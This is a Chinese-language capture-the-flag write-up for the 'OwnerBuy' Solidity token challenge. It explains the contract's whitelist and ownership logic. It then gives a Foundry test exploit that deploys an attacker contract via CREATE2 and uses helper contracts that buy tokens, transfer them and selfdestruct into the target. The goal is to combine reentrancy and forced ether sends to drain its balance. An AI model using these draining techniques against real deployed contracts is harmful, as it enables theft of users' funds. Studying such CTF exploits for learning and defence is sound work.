04.challenge 分析 1.全局观 看似给了很多合约,其实很少:
除了OwnerBuy之外的所有合约:ERC20标准
OwnerBuy
继承了ERC20标准
拥有白名单机制
修改owner机制
买卖代币
2.任务 我们至少将Time设置为100
1 2 3 4 5 6 7 function finish() public onlyOwner returns (bool) { require(Times[msg.sender] >= 100); Times[msg.sender] = 0; msg.sender.transfer(address(this).balance); emit finished(true); return true; }
3.分析 挺常见的场景,主要涉及:CREATE2,重入,“电梯方法”(也就是同个方法调用两次返回不同结果),白名单与阈值,自毁强制打钱,多用户薅羊毛。其实就是不断的满足买卖的限制条件然后进行重入即可。大概思路如下:
成为owner并设置_owner
薅羊毛并且转钱到攻击合约
强制打钱到题目合约
重入
再次成为owner
完成题目
解题 代码有点多,有兴趣的话请查看我的GitHub,这里放出部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.13; import "forge-std/Test.sol"; import "./bytecode.sol"; contract attackTest is Test{ IOwnerBuy public ownerbuy; // 用remix获取attacker.sol的bytecode bytes bytecode = BYTECODE; bytes32 bytecodeHash = 0x3441600f3121d3cc8960a9230b29772dc5ad4318ec5a1768296869a7c6821001; function setUp() public{} function test_isComplete() public { // 用户0x5B38Da6a701c568545dCfcB03FcB875f56beddC4来进行攻击 payable(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4).transfer(1 ether); // 给点钱,否则无法buy() vm.startPrank(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4); vm.label(address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4), "user"); // 部署攻击合约,注意要用solidity来计算!不要直接用网页上面的keccak256,因为要做一点abi格式化 // 需要用到脚本来计算salt,就不放在GitHub了,博客中关于CREATE2的内容中有可以自行找一下 IAttacker attackerAddress = IAttacker(payable(deploy(0x0000000000000000000000000000000000000000000000000000000000025884))); vm.label(address(attackerAddress), "attackerAddress"); // 攻击之前初始化 attackerAddress.init(); ownerbuy = IOwnerBuy(address(attackerAddress.ownerbuy())); vm.label(address(ownerbuy), "ownerbuy"); attackerAddress.beforeAttack{value:1 wei}(); // 使用三个Helper来获得空投满足条件 for(uint256 i = 0; i < 4; i++){ Helper helper = new Helper(address(ownerbuy)); helper.buyAndTransfer{value:10000 wei}(address(attackerAddress)); } attackerAddress.Attack(); // 开始攻击 assertEq(address(ownerbuy).balance, 0); // 检查是否攻击成功 vm.stopPrank(); } function deploy(bytes32 salt) public returns(address) { address addr; bytes memory _bytecode = bytecode; assembly { addr := create2(0, add(_bytecode, 0x20), mload(_bytecode), salt) } return addr; } } contract Helper{ IOwnerBuy ownerbuy; constructor(address _addr) payable public{ ownerbuy = IOwnerBuy(_addr); } function buyAndTransfer(address _addr) public payable { ownerbuy.buy{value: 1 wei}(); // 获得100元 ownerbuy.transfer(_addr,100); // 转给攻击合约地址 selfdestruct(payable(address(ownerbuy))); // sell()的时候ownerbuy需要钱才能调用 } } interface IOwnerBuy{ function buy() external payable returns (bool); function sell(uint256) external returns (bool ); function finish() external returns (bool); function changeOwner() external; function changestatus(address) external; function transferOwnership(address) external; function transfer(address, uint256) external returns (bool); function _owner() external returns(address); function balanceOf(address ) external view returns (uint256); } interface IAttacker{ function ownerbuy() external view returns(address); function init() external; function beforeAttack() external payable; function Attack() external; function isOwner(address ) external returns(bool); }